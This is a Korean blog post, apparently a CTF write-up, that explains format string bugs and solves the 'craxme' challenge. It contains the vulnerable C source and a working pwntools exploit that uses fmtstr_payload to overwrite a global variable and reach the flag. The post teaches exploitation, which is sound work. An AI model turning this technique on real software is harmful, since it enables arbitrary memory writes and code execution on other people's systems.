1. 시작하기전에...


Format String Bug

포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점으로써 1989년 경에 발견되었다. 이전에는 위험하지 않다고 여겨졌지만, 포맷 스트링 익스플로잇은 프로그램을 충돌시키거나 악의적인 코드를 실행 시키는데 사용될 수 있다. 문제는 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 검사되지 않은 사용자 입력을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다. 악의적인 사용자는 %s와 %x 포맷 토큰들을 콜 스택 또는 메모리의 가능한 다른 위치의 데이터를 보이게 하는 데 사용할 수 있다. 또한 %n 포맷 토큰을 사용해서 임의적인 데이터를 임의적인 위치로 쓸 수 있는데, 이것은 printf() 와 비슷한 함수들이 많은 바이트들을 스택에 저장된 주소에 쓰게 한다.


[참조] https://ko.wikipedia.org/wiki/%ED%8F%AC%EB%A7%B7_%EC%8A%A4%ED%8A%B8%EB%A7%81_%EB%B2%84%EA%B7%B8

[참고사이트] http://blog.naver.com/PostView.nhn?blogId=haks2198&logNo=220840244540&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView


포맷스트링 버그의 핵심만 요약하자면, printf와 같은 포맷스트링을 인자로 받는 함수에서 변환명세(%x, %c, %d와같은)의 갯수와 동일하게 스택에서 pop하여 출력하는 것에서 부터 시작합니다. 또한 %n은 앞에서 출력한 문자열의 사이즈를 해당 변수에 저장하는데, 이것들을 조합하여 해커가 원하는 메모리 공간에 임의의 원하는 값을 쓸 수 있게 되는 것이지요.


개인적인 생각으로는 많은 취약점들이 프로그래머의 실수에서 부터 시작되기는 하지만, Format String Bug같은 경우에는 특히나 더 실수 의존도(?)가 더 높은 것 같습니다. 다만, 이 취약점이 있다면 해당 주소에 정확히 값을 덮어 쓰기 때문에 canary같은 메모리 보호기법에 영향을 받지 않아 꽤나 강력하다고 생각됩니다. 


포맷스트링버그의 자세한 개념과 페이로드 작성방법은 이 포스팅에서 생략하도록 하겠습니다. 참고사이트를 참고해주세요.

이 포스팅에서는 쉽고 쎈 pwntools의 fmtstr_payload를 사용하여 exploit하는 방법에 대해서 설명하려고 합니다. 


2. 분석

craxme.c

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int magic = 0 ; 
 
int main(){
    char buf[0x100];
    setvbuf(stdout,0,2,0);
    puts("Please crax me !");
    printf("Give me magic :");
    read(0,buf,0x100);
    printf(buf);
    if(magic == 0xda){
        system("cat /home/craxme/flag");
    }else if(magic == 0xfaceb00c){
        system("cat /home/craxme/craxflag");
    }else{
        puts("You need be a phd");
    }   
 
}
cs


가장 먼저 전역변수 magic이 0으로 초기화 되어 있습니다. 메인함수가 시작되면 "Please crax me !" 을 출력한 다음

Give me magic : 이후 buf공간에 0x100(256) 바이트 만큼 read하고 있는데, 버퍼 사이즈만큼 read하고 있기 때문에, BOF는 발생하지 않아보입니다.


이후에는 0으로 초기화된 maigc의 값이 0xda이면 cat /home/craxme/flag를 실행하고, 0xfaceb00c이면 cat /home/craxme/craxflag 를 실행합니다.

이도저도아니면 You need be a phd.를 출력하고 프로그램은 끝나게되겠습니다.


위에 참고사이트로 적어드린 곳을 보고 오셨다면 어느부분이 취약한 지 바로 보이시겠죠?

read직후에 버퍼를 출력해주는 printf(buf); 이 부분에서 printf에 포맷스트링을 쓰지않아 포맷스트링 버그가 발생하게 됩니다.


3. exploit


1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context.log_level = 'debug'
magic_addr = 0x0804a038
offset = 7 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xda})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xfaceb00c})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
cs


※이 문제풀이를 로컬에서 했기 때문에, c소스에서 지정하고있는 경로에 flag파일들을 미리 만들어 두고 시작합니다.


자, 그럼 exploit코드를 보겠습니다. 라고 하기 무색할만큼 차떼고 포떼면 한줄 밖에 안남아요ㅠ

핵심은 fmtstr_payload 함수에 있습니다.


[pwntools] http://docs.pwntools.com/en/stable/fmtstr.html 

위 링크를 보시면 pwntools공식 사이트에 fmtstr_payload가 설명되어있는 페이지를 보실 수 있습니다. 아래는 사이트에서 해당부분을 캡쳐한 것 입니다.


파라미터 중 offset에 관해서 한번 보도록하죠.

설명에서는 the first formatter’s offset you control 라고 되어있습니다. 

해석만해보면 컨트롤 할 첫 번째 포맷터의 오프셋.. 정도가 될텐데 사실 전 이것만 보고는 ?? 이게 무슨말이지 라고 생각했었더랬죠ㅠㅠ

자, 그래서 이게 무슨말이냐면 쉽게 말해서 현재 출력하고 있는 버퍼가 스택 상에서 실제 어디에 있느냐 정도가 되겠습니다.

아직 감이 잘 안오시나요? 아래 그림을 한번 봐주세요.



첫 번째 그림을 보면 read를 실행하는 main+100에서 브레이크포인트를 잡아서 찍어본 스택의 상황입니다. read함수의 인자로 들어간 buf의 주소가 가운데 0xffffd0dc에요.


두 번째 그림을 보면 aaaa %8x %8x %8x %8x %8x %8x %8x 을 넣어 실행한 결과이지요. 두 실행 시기가 달라 메모리주소는 약간 다릅니다만, 만약 같은 시기에 찍었다면 0xffffd0dc와 ffa2996c가 같은 값이 나왔을 것이고, f7ffd000가 f771a000으로 같은 값이 나왔을 거에요.


이제 슬슬 offset의 의미가 감이 오시나요? 포맷스트링 버그에 %x등의 변환명세를 집어 넣었을 때, 버퍼의 값을 찍을 수 있는 거리가 offset이 된다는 이야기입니다.


aaaa 이후 %8x를 일곱개를 넣어 aaaa의 값인 61616161을 찍을 수 있었 듯이 말이지요.


exploit에 이용한 fmtstr_payload함수를 다시 볼게요. offset이후에 딕셔너리 인자가 하나 들어갔습니다. 딱 봐도! 어디에다 무엇을 쓰고 싶은지를 넣어주는 딕셔너리 객체라는 것을 알 수 있으시겠지요.


magic자리에 문제에서 요구하는 0xda와 0xfaceb00c을 넣어주겠다 라고 지정하면, 요구사항에 맞게 포맷스트링 버그를 exploit할 수 있는 페이로드를 리턴해줍니다. 이거 그냥 보내기만 하면돼요.


다들 아시겠지만 혹시나 하는 마음에... 한 가지 팁으로 magic의 주소는 어떻게 알아낼까요?


gdb에서 info variables 라는 명령어를 입력하면 전역변수들의 주소를 알 수 있어요.


결과보고 포스팅 마치겠습니다.



디버그모드로 exploit코드를 실행하였기 때문에 어떤 페이로드를 보냈고, 어떤 결과를 받았는지 dump된 형태로 살펴 볼 수 있습니다.


끝!

+ Recent posts